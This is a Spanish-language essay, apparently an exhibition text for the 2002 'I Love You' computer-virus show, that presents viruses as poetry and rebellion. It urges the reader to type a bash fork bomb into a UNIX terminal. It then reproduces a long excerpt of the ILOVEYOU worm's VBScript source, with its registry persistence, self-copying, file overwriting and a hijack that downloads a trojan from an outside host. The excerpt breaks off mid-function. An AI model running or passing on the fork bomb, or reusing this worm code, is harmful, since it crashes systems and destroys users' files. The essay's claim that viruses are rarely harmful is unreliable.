:(){ :|:& };:
Preludio
Cualquier discusión sobre el software como arte debe tener en cuenta todo el proceso creativo vinculado a su concepción y realización, o cual lleva a una nueva operabilidad dentro del dominio digital: nuestra atención está puesta aquí en los códigos fuentes,[94] el fascinante mundo del álgebra y de los algoritmos que se puede observar en muchas expresiones de forma dentro de la inmanencia digital, todas las cuales pueden reformularse y producir sentido.
Los códigos fuentes, o mejor los algoritmos y el álgebra, son las herramientas del artesano digital de la edad moderna con más de mil años de teorías matemáticas por detrás;[95] sólo por poco más de un cuarto de siglo han actuado como software. El software es un medio para crear arte y comunicar. Es una metaliteratura que define de qué manera pueden transportarse y (re)producirse sentidos al multiplicar las posibilidades de su comunicación. En tanto medio de metacomunicación, el software representa a la Parole [habla] (citando a Saussure), que deriva su ejecución de una Langue [lengua], por ejemplo del universo lingüístico y gramatical del código. El ejercicio metafísico se torna recursivo aquí: aunque muchos ven al código fuente sólo como un oscuro criptograma, éste posee un efecto indirecto en el modo en que nos comunicamos y aún más en la eficacia con la que lo hacemos.
Con todo esto en mente, ahora centrémonos en el fenómeno de los programas conocidos como virus. Éstos consisten en una combinación de actos poéticos de rebelión, síntomas políticos y estructurales, intentos de acceder a las fisuras de la red explorando su permeabilidad; inteligencias artificiales (rara vez dañinas, aclarémoslo), que han poblado el universo digital desde sus inicios.
Bohemia Digital
Al considerar al código fuente como literatura, estoy retratando los virus como poesía maldita, como provocación contra aquellos que venden la red como una zona liberada para la sociedad burguesa. Las relaciones, fuerzas y leyes que gobiernan el dominio digital difieren de las del mundo natural. El dominio digital produce una forma de caos a veces incómoda por lo inusitada, aunque productiva dentro de la cual surfear: en ese caos los virus son composiciones espontáneas, líricas por provocar imperfecciones en máquinas hechas para funcionar y por representar la rebelión de nuestros siervos digitales.
Podría parecer que esta idea de comparar los virus con poesía lírica sólo la pueden apreciar aquellos que cuentan con conocimientos técnicos específicos, pero esto no es así. De hecho, este es uno de los propósitos de la exhibición I Love You de digitalcraft.org, que explora los aspectos tantas veces negados de una bohemia digital. Ésta logra que la red por la que hoy navegamos sea más orgánica, al diseñar nuevos modos de circulación para que la información viaje en ella, a la vez que genera una estética, en el verdadero sentido de la palabra, que muchas veces ha permeando en el llamado net-art. El caos:
El último acto posible es el que define a la percepción misma, un cordón dorado invisible que nos conecta: fiestas ilegales en los pasillos del Palacio de Justicia. Si te fuera a besar aquí dirían que es un acto de terrorismo así que llevemos nuestros revólveres a la cama y a medianoche despertemos a la ciudad como bandidos borrachos, celebrando a los tiros el mensaje del sabor del caos.
Hakim Bey Ahora tipea :(){ :|:& };: en cualquier terminal UNIX.[96]
Anticuerpos de Internet
Así como un organismo se defiende a sí mismo contra las enfermedades que lo infectan, la red ha reaccionado produciendo anticuerpos que atacan los bugs[97] de distintos tipos de software defectuoso. Un tipo particular de virus que se difundió últimamente es el gusano, que se transmite básicamente a través de programas de e-mail y servidores. Los fabricantes de software vulnerable siguen tratando de mejorar la seguridad de sus productos, lo que para nosotros quiere decir la privacidad de nuestras comunicaciones.
En sentido político, vemos que la reacción de muchos escritores de virus, que se destacan en la red por su conocimiento profundo de los elementos que componen a ésta, fue precisamente provocada por el abordaje monopolista y corporativo de ciertos grandes grupos del mercado que sueñan con convertir la red en un shopping virtual para sus propios modos de hacer negocios, sin respeto por la horizontalidad de las relaciones de los ciudadanos que la habitan. Hasta ahora ha habido infinidad de intentos de disminuir la velocidad a la que puede circular la información, que van desde la censura a las restricciones de copyright, con el objetivo claro de centralizar sus flujos:[98]
Desde los primeros días de la computadora personal, el ciberespacio fue visto como un medio para recuperar espacios públicos ante su progresiva desaparición. Lee Felsenstein, uno de los creadores de la computadora personal, impulsaba el uso de esta herramienta para reestablecer un sentido comunitario de la información (Felsenstein). Felsenstein y muchos de sus amigos pioneros soñaron que la Internet pudiera brindarle a un vasto público un espacio que reflejara sus diversos intereses y promoviera la creatividad y la libertad de expresión.
Por muchos años el discurso masivo encasilló a la Internet como una zona de diversidad y libre expresión donde cualquiera puede ser un creador. Pero desde los primeros días de la Web, las áreas públicas de la Internet empezaron a rodearse de vallas, cada vez más. En 1994 este autor advirtió sobre el efecto colonizador que los intereses comerciales tendrían en el espacio público que por entonces representaba Internet (Besser, 1994). Y en 1995, discutió sobre cómo el control por parte de grandes industrias pasaría por encima de los beneficios públicos y la diversidad que la Internet había prometido. Casi una década más tarde, vemos cada vez más vallados los espacios de Internet, y las acciones de las personas cada vez más rastreadas y almacenadas.
Howard Besser
Los virus son un síntoma político de una comunidad que sigue siendo extremadamente vasta, y su prohibición no soluciona los problemas que se derivan de ellos. Lo mismo es cierto respecto del hacking y el anonimato.
Rizografía
Un escritor de virus está interesado en explorar la permeabilidad de la red. Un rizoma como el de Internet con tantas dimensiones, y con dimensiones de este tipo, no se puede representar en ningún mapa; muchos lo intentaron pero hasta ahora ninguno lo logró. Sus extensiones podrían delinearse siguiendo una ruta, sondeando dónde se bifurca, y persiguiendo sus direcciones y conexiones. Al inyectar un medio contrastivo en el organismo para trazar su forma y estructura se producirá un angiograma que mostrará la configuración básica de sus venas. Sólo queda hacer un esfuerzo y considerar los orígenes del Instinto de Exploración tal como se presenta en nuestra propia historia, la historia del mundo orgánico tal como lo conocemos.
Quisiera agradecer a digitalcraft.org por su atención e interés en nuestro trabajo. Ha sido un honor para mí contribuir con esta experiencia colectiva por la cual se ha mostrado tanto entusiasmo. Muchas gracias a Franziska Nori, Florian Cramer, Andreas Broeckmann, Alessandro Ludovico, Garderobe23 / Kunstfabrik Berlin, Woessel; en solidaridad con todos los que aún resisten. Para todos los que siguen peleando: ¡no se detengan!
(Nota de Presentación para la muestra I Love You sobre virus informáticos, Museo de Artes Aplicadas, Frankfurt, 2002)
Copyleft 2002 (
http://korova.dyne.org/
) Se permite copiar,
distribuir, y/o modificar este documento bajo los términos de la
Licencia de Documentación Libre GNU, Versión 1.1 o cualquier
versión posterior publicada por la Free Software Foundation;
permaneciendo invariantes todas las secciones. Se concede permiso
para hacer y distribuir copias de este documento mientras esta nota
se mantenga en todas las copias.
I Love You
Este es un extracto con las primeras líneas del código fuente del virus«I love you» , que infectó a millones de computadores poco después de su aparición el 4 de mayo de 2000.
rem barok -loveletter(vbe) <i hate go to
school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group
/
Manila,Philippines
On Error Resume Next
dim
fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=””
ctr=0
Set fso =
CreateObject(“Scripting.FileSystemObject”)
set file =
fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject(“WScript.Shell”)
rr=wscr.RegRead(“HKEY_CURRENT_USER\Software\Microsoft\Windows
Scripting
Host\Settings\Timeout”)
if (rr>=1) then
wscr.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout”,0,”REG_DWORD”
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&”\MSKernel32.vbs”)
c.Copy(dirwin&”\Win32DLL.vbs”)
c.Copy(dirsystem&”\LOVE-LETTER-FOR-YOU.TXT.vbs”)
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
“,dirsystem&”\MSKernel32.vbs”
regcreate
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi
n32DLL”,dirwin&”\Win32DLL.vbs”
downread=””
downread=regget(“HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Download Directory”)
if (downread=””) then
downread=”c:\”
end if
if (fileexist(dirsystem&”\WinFAT32.exe”)=1)
then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate “HKCU\Software\Microsoft\Internet
Explorer\Main\Start
Page”,”http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe”
elseif num = 2 then
regcreate “HKCU\Software\Microsoft\Internet
Explorer\Main\Start
Page”,”http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe”
elseif num = 3 then
regcreate “HKCU\Software\Microsoft\Internet
Explorer\Main\Start
Page”,”http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe”
elseif num = 4 then
regcreate “HKCU\Software\Microsoft\Internet
Explorer\Main\Start
Page”,”http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX
.exe”
end if
end if
if (fileexist(downread&”\WIN-BUGSFIX.exe”)=0)
then
regcreate
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI
X”,downread&”\WIN-BUGSFIX.exe”
regcreate “HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start
Page”,”about:blank”
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&”\”)
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext=”vbs”) or (ext=”vbe”) then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext=”js”) or (ext=”jse”) or (ext=”css”) or
(ext=”wsh”) or (ext=”sct”)
or (ext=”hta”) then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&”\”&bname&”.vbs”)
fso.DeleteFile(f1.path)
elseif(ext=”jpg”) or (ext=”jpeg”) then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close